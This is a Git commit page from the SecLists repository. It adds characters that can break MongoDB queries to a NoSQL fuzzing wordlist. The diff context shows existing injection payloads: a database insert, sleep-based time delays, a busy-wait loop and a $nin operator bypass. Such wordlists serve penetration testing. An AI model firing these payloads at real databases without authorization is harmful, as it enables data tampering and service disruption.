sync/SecLists
1
0
Fork 0
mirror of https://github.com/danielmiessler/SecLists.git synced 2025-07-18 09:49:26 -04:00
Code Issues Projects Releases Packages Wiki Activity Actions 3

Add character that can break a MongoDB query when JS expression is used

Browse source
This commit is contained in:
Dominique RIGHETTO 2020-07-18 18:00:24 +02:00 • committed by GitHub
parent b883fc123a
commit 00f10f8513
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 9 additions and 0 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

9
Fuzzing/Databases/NoSQL.txt
View file

@ -18,3 +18,12 @@ db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emi
';sleep(5000); ';sleep(5000);
';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000); ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000);
{$nin: [""]}} {$nin: [""]}}
'
"
\
/
//
;
{
}
: